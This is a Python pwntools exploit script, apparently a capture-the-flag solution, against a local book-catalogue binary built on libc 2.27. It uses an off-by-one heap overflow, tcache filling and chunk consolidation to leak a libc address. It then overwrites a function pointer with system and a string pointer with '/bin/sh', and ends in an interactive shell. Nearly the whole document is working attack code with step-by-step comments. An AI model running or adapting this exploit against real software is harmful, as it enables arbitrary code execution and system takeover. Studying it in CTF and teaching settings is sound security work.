#!/usr/bin/env python

from pwn import *

def add_book(title, brief_size, brief, ref_title, best_selling):
    p.sendlineafter('Your choice:', '1')
    p.sendafter('Title:', title)
    p.sendlineafter('Enter brief size:', str(brief_size))
    p.sendafter('Enter brief:', brief)
    p.sendafter('Reference book title:', ref_title)
    p.sendlineafter('Best Selling? (Y/N)', best_selling)

def edit_book(old_title, new_title, brief_size, brief, best_selling):
    p.sendlineafter('Your choice:', '2')
    p.sendafter('Old title:', old_title)
    p.sendafter('New title:', new_title)
    p.sendlineafter('Enter brief size:', str(brief_size))
    p.sendafter('Enter brief:', brief)
    p.sendlineafter('Best Selling? (Y/N)', best_selling)

def remove_book(title):
    p.sendlineafter('Your choice:', '3')
    p.sendafter('Title:', title)

def list_books():
    p.sendlineafter('Your choice:', '4')

if __name__ == '__main__':
    p = process('./program', env = {'LD_PRELOAD': './libc-2.27.so'})

    # book_a ==> fastbin_0 (0x50) and brief_a ==> smallbin_0 (0x100)
    add_book('a' * 30 + '\n', 247, '0' * 247 + '\n', '\n', 'N')

    # book_b ==> fastbin_1 (0x50) and brief_b ==> fastbin_2 (0x50)
    add_book('b' * 30 + '\n', 58, '1' * 58, '\n', 'N')

    # brief_b ==> fastbin_3 (0x60) and fastbin_2 is freed
    edit_book('b' * 30 + '\n', 'b' * 30 + '\n', 88, '1' * 87 + '\n', 'N')

    # book_c ==> fastbin_2 (0x50) and brief_c ==> smallbin_1 (0x100)
    add_book('c' * 30 + '\n', 247, '2' * 247 + '\n', '\n', 'N')

    # as the result of previous steps, brief_b is located just before brief_c
    # now, we can edit brief_b, and launch "off-by-one" attack to replace size of
    # brief_c's chunk. As a result, smallbin_1 looks like a free chunk, and we set
    # its prev_size to 0x200, which can be consolidated to smallbin_0 after free
    edit_book('b' * 30 + '\n', 'b' * 30 + '\n', 88, '1' * 80 + p64(0x200), 'N')

    # Since the program is using libc-2.27.so, tcache is enabled
    # so tcache bins have priority over main arena for allocating/freeing chunks
    # therefore, we need to allocate enough chunks and free them, in order to
    # fill up tcache bins. It only can contain 7 freed chunks, and we force
    # program to use the chunk size of 0x100 through the program for the briefs
    for i in range(7):
        add_book(chr(i) * 30 + '\n', 247, '?' * 247 + '\n', '\n', 'N')

    for i in range(7):
        remove_book(chr(i) * 30 + '\n')

    # removing brief_a and brief_c causes the consolidation of smallbin_0 and smallbin_1
    # since tcache is full, libc put the freed chunk in main arena, and populate its fd/bk
    # pointers with libc addresses.
    remove_book('a' * 30 + '\n')
    remove_book('c' * 30 + '\n')

    # since tcache has priority over main arena for allocating new chunks, we need to allocate
    # enough chunks to empty the tcache, so libc uses main arena for future allocations
    for i in range(7):
        add_book(chr(i) * 30 + '\n', 247, '?' * 247 + '\n', '\n', 'N')

    # book_d ==> fastbin_2 (0x50) and brief_d ==> smallbin_2 (0x1a0)
    # smallbin_2 is overlapping with fastbin_0, fastbin_1, and fastbin_2 chunks
    add_book('d' * 30 + '\n', 403, '3' * 16 + '\n', '\n', 'N')

    # the allocation of smallbin_2 causes the libc address be written into brief_b
    # so, listing the books leak the libc address, and we can find the libc base address
    list_books()

    p.recvuntil('b' * 30 + '|')
    p.recv(5)
    libc_base = u64(p.recv(6) + '\x00' * 2) - 0x3ebca0
    print 'libc base: {}'.format(hex(libc_base))
    p.recvuntil('=====================')

    # since brief_d and book_b chunks are overlapping, we can overwrite the book_b's
    # print function pointer with "system" address as well as its pointer to brief_b
    # with "/bin/sh" address
    binsh = libc_base + 0x1b3e9a
    system = libc_base + 0x4f440

    edit_book('d' * 30 + '\n', 'd' * 30 + '\n', 403, '3' * 256 + p64(0) + p64(binsh) + 'b' * 30 + '\x00' * 4 + p64(system) + '\n', 'N')

    # listing books cause the function pointer being called which results in calling system("/bin/sh")
    list_books()

    p.interactive()

